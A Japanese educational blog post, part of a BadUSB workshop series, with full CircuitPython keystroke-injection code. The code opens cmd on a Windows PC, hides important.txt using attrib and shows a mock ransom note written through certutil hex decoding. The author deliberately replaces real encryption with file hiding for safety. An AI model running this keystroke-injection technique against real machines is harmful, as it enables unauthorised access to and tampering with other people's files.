AI要約
BadUSBによるハッキングシリーズ第3弾。今回はランサムウェア攻撃を検証しますが、安全性を考慮し、ファイルの暗号化ではなく隠しファイル化によって擬似的に検証します。
はじめに
「BadUSBを作ってハッキングする」シリーズ。前回はターゲットのデスクトップにあるファイルをサーバーに送ることで盗みました。
第3回はランサムウェアを仕込みます。このあたりからガチでヤバい臭いがしてきて、コードをAIに聞いても防犯上の理由で回答にフィルターがかかってきます。

やりたいこと
ターゲットPCのデスクトップにある「important.txt」を暗号化するか、もしくはパスワード付きzipにしたいところです。しかし、ワークショップでみんなにやってもらうとなると、うっかり本当に大切なファイルをロックして、うっかり復元できなくなってしまうことが懸念されます。普通にやらかすと思う。
教育としては思う存分失敗してほしいのですが、親のPCを借りて参加する人もいるだろうし、やらかしたらお父さんクビになっちゃいそう。
そこで安全な方法として、「important.txt を隠しファイルにする」をやってみましょう。これならファイルが見えなくなるだけで、すぐに復元できます。
コマンドプロンプトでファイルに隠しファイル属性(ついでにシステムファイル属性)を付与するのは以下のコマンド。
attrib +h +s important.txtまた、解除は以下
attrib -h -s important.txt最後に「ransom.txt」を保存して開き、身代金を要求するメッセージを見せたら完了です。
ターゲットファイル
ターゲットPCのデスクトップに機密文書「important.txt」を置いておきます。

隠しファイルを見えないようにする設定
Windowsのエクスプローラーはデフォルトで隠しファイルを非表示にしていますが、「表示する」にしている人もいるでしょう。ターゲットPCではこれを解除してください。

hacking.py
コードはViperIDEで書き込んでテスト実行します。
import time
import usb_hid
from adafruit_hid.keycode import Keycode
from adafruit_hid.keyboard import Keyboard
from adafruit_hid.keyboard_layout_jp import KeyboardLayoutJP
print("自動実行の準備をします...")
# キーボードとして認識されるまで少し待つ
time.sleep(1)
# キーボードの初期化
keyboard = Keyboard(usb_hid.devices)
# キーボードレイアウトの初期化
layout = KeyboardLayoutJP(keyboard)
print("処理を開始します...")
# Windowsキー + R で「ファイル名を指定して実行」を開く
keyboard.send(Keycode.GUI, Keycode.R)
time.sleep(0.5) # ウインドウが開くときは少し待機
# コマンドプロンプト(cmd)を開く
layout.write("cmd")
keyboard.send(Keycode.ENTER)
time.sleep(0.5) # ウインドウが開くときは少し待機
# 「chcp 65001」でUTF-8に切り替え
layout.write("chcp 65001")
keyboard.send(Keycode.ENTER)
# ターゲットのデスクトップに移動
# %USERPROFILE% = C:\Users\(USERNAME) の意味
layout.write("cd %USERPROFILE%\Desktop")
keyboard.send(Keycode.ENTER)
# important.txtの中身を表示してみる
layout.write("TYPE important.txt")
keyboard.send(Keycode.ENTER)
# attribコマンドでmportant.txtを隠しファイルにする
layout.write("attrib +h +s important.txt")
keyboard.send(Keycode.ENTER)
'''
adafruit_hidでは日本語テキストを入力できない
しかたないので16進数でtmp.txtを保存して日本語に変換する
'''
# 日本語テキスト
japanese_text = "【警告】\nファイルを返してほしければ\n放課後、体育館裏に来い。"
# 日本語テキストをShift-JISの16進数テキストに変換
hex_data = "".join("{:02x}".format(b) for b in japanese_text.encode('shift_jis'))
# echoした16進数をtmp.txtに保存。certutilでransom.txtにデコード。不要になったtmp.txtを削除。
layout.write(f"echo {hex_data} > tmp.txt && certutil -f -decodehex tmp.txt ransom.txt && del tmp.txt")
keyboard.send(Keycode.ENTER)
time.sleep(0.5) # 3つの処理が連続して終わるのを少し待つ
# ransom.txtをメモ帳で表示
layout.write("notepad ransom.txt")
keyboard.send(Keycode.ENTER)
# 「exit」と入力してcmdを閉じる
layout.write("exit")
keyboard.send(Keycode.ENTER)
print("処理が完了しました")実行すると、コマンドプロンプトが開いてあれこれやられます。

デスクトップ上の「important.txt」が見えなくなり、代わりに「ransom.txt」が生成され、身代金を要求するテキストがポップアップします。

日本語入力のテクニック
ここで技術的な補足。キー入力に使用している「adafruit_hid」パッケージでは日本語(ひらがな、漢字)が一切入力できません。そのため、ランサムテキストをそのまま保存して表示することができません。
なぜかというと、私たちが日本語を入力する時、キーボードは英数字しかPCに送っていなくて、日本語に変換するのはOS側で行っているからです。ですから、それと同じように「kaki」を打ってからスペースキーで「柿」に変換すればいいっちゃいいのですが、変換の順番は端末によって違うので「牡蠣」になったりするわけです。こりゃいかん。
そこで、日本語テキストを16進数コード(すべて英数字)で「tmp.txt」に保存し、そのファイルをcertutilコマンドで日本語の「ransom.txt」に変換するという遠回りを行っています。これなら英数字だけの入力で自由に日本語が使えます。
e38090e8ada6e5918ae380910ae38395e382a1e382a4e383abe38292e8bf94e38197e381a6e381bbe38197e38191e3828ce381b00ae694bee8aab2e5be8ce38081e4bd93e882b2e9a4a8e8a38fe381abe69da5e381a6e381ade38082↓
【警告】
ファイルを返してほしければ
放課後、体育館裏に来てね。おわりに
他人のファイルを隠すのは犯罪になりますが、メッセージを表示させるだけなら誕生日サプライズにも使えそう?(喜び << 絶許)
パスワード付きzip化したい場合はPowerShellを使うことになります。自己責任でやってください。
次回は、Webサイトのログイン情報を盗むというガチでヤバいことを試します。



